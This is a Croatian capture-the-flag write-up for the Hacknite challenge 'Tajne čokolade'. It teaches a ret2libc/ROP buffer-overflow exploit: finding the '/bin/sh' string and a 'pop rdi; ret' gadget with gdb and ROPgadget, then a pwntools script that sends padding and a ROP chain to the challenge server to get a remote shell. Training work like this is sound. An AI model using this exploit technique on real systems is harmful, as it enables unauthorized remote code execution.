Ret2Libc je naziv za binarnu eksploataciju kojom napadač preplavljuje povratnu adresu na izvršni kod unutar neke od funkcija iz libc-*.so (najčešće funkcija system()).
https://platforma.hacknite.hr/challenges#Tajne%20%C4%8Dokolade-96
Ante neće uspjeti ostvariti dominaciju tržišta sladoleda bez savršenog recepta za čokoladu, što u konačnici znači da neće imati dovoljno novaca za najbolje novo računalo kojim bi mogao igrati RTX Minecraft na 4k rezoluciji i 144Hz.
Ante je načuo da isti program koji je čuvao recept za sladoled od vanilije zapravo negdje čuva i recept za savršeni sladoled od čokolade. Preciznije, na istom računalu/poslužitelju se nalazi i taj dodatni recept kojega Ante traži, sakriven negdje na datotečnom sustavu u datoteci naziva flag2.
Možeš li se spojiti na program, ostvariti pristup poslužitelju - tako da možeš izvršavati naredbe u ljusci (engl. shell) operacijskog sustava, tzv. remote code execution - te pronaći i taj recept čime bi osigurao da Ante u potpunosti dominira tržištem sladoleda?
Podaci za spajanje i podaci o programu (izvorni kod i izvršna datoteka) su isti kao i u zadatku Tajne vanilije. Program je na poslužitelju pokrenut unutar Alpine Linux 3.16 containera (to ne bi trebalo bitno utjecati na rješavanje zadatka).
Potrebno je napraviti sistemski poziv za pretraživanje datoteke “flag2” na udaljenom računalu. Ovdje će biti prikazano rješenje koje iskorištava činjenicu da datoteka koristi sistemski poziv system():
system("date +%F"); //Zbog ovog poziva je funkcija system uključena u datoteku
Preko nje će se pozvati remote shell koji će omogućiti pozivanje proizvoljnih naredbi tzv. remote code execution.
System(): Funkcija koja prima string kao argument, interpretira ga i izvrši. Kako bi se pozvao shell funkcijom system, potrebno mu je proslijediti pointer na string “/bin/sh”.
Unos stringa “/bin/sh” omogućen je kroz varijablu username ili password, ali se i nalazi unutar datoteke i bez njegovog unosa. Rješenje će biti izvedeno uz pomoć postojećeg stringa. Razlika će dakle biti u adresi koja sadrži “/bin/sh”. Ako rješenje koristi username ili password varijablu, unutar payloada je potrebno izmijeniti adresu koja se prosljeđuje pozivu system na odgovarajući offset odgovarajuće varijable.
Kako bi se pronašla adresa “/bin/sh” stringa, najprije je potrebno otvoriti main unutar gdb-a:
gdb main
Pokrenite program jednom s (unutar gdb-a):
r
kako bi se adresna memorija mapirala. Zatim je potrebno pronaći početnu i završnu adresu programa (unutar gdb-a):
info proc map
Ispis prikazuje da je početak memorije na adresi 0x400000, a kraj (onaj prije heap-a) na adresi 0x408000. Pretraga za string “/bin/sh” izvodi se naredbom (unutar gdb-a):
find start_addr, end_addr, string
Dakle:
find 0x400000, 0x408000, "/bin/sh"
Dobivene su dvije adrese: 0x4050d9 i 0x4060d9. Za provjeru da se radi o dobrom stringu može iskoristiti naredba (unutar gdb-a):
x/s 0x4050d9 //ili 0x4060d9
U rješenju će se koristiti adresa 0x4050d9.
Zbog x64 calling konvencije pointer na adresu na kojoj se nalazi string “/bin/sh” bit će u registru rdi. To znači da kako bi se sistemski poziv system ispravno pozvao, prije samog poziva potrebno je postaviti željenu adresu u registar rdi. Kako bi se to postiglo koristi se tzv. “ROP”. Rop (return-oriented programming) je tehnika kojom se registri postavljaju u željena stanja. Jedna od tehnika rop-a jest “write, what, where” kojim se pozivaju krajevi funkcija koji sadrže instrukcije pop s željenim registrima (pop stavlja trenutnu vrijednost na stogu u registar, npr. pop rdi) i time omogućuje arbitrarni unos. U ovom slučaju, potrebno je postaviti vrijednost u registar rdi, što znači da je potrebna funkcija koja završava s pop rdi.
Kako bi se pronašla takva funkcija koriste se rop alati. U ovom primjeru korišteni alat je ROPGadget no postoje i brojni drugi (npr. Ropper, PWN tools…).
Nareba za pronalazak “write,what,where” rop-a jest (uz pomoć ROPgadget):
ROPGadget --silent --ropchain --binary main
Iz ispisa je vidljivo da je upravo:
pop rdi; ret;
na adresi 0x401797 (što je ujedno i adresa unutar funkcije system). Za provjeru (unutar gdb-a):
x/2i 0x401797
Sada kada je poznata adresa stringa “/bin/sh” i adresa rop-a, moguće je sastaviti payload. Ideja je sljedeća:
1. Prepisati stog s padding-om ispravne duljine (120) 2. Prepisati povratnu adresu s adresom rop-a //0x401797 3. Prepisati sljedećih 8 bajtova s adresom stringa "/bin/sh" //0x4050d9 --> pop rdi; 4. Prepisati povratnu adresu s adresom system poziva //0x4015b6 (adresa system poziva se može saznati s npr. disas system) --> ret;
Nakon uspješnog unosa sastavljenog payloada na udaljenom računalu bit će otvoren shell.
Napomena 1.: x64 calling konvencija zahtjeva da su povratne adrese poredane sa 16-bitnim modulom (stack alignment x64 calling convention)
Napomena 2.: Dobra je praksa nadodati adresu na poziv exit() nakon završetka rada shell-a kako bi program uspješno prestao s radom.
Primjer rješenja (PWN tools python3):
payload.py
p = remote("chal.platforma.hacknite.hr",11002) payload = b"\n" payload += b"A"*120 #padding payload += p64(0x401797) payload += p64(0x4050d9) payload += p64(0x4015b6) p.writeline(payload) p.interactive()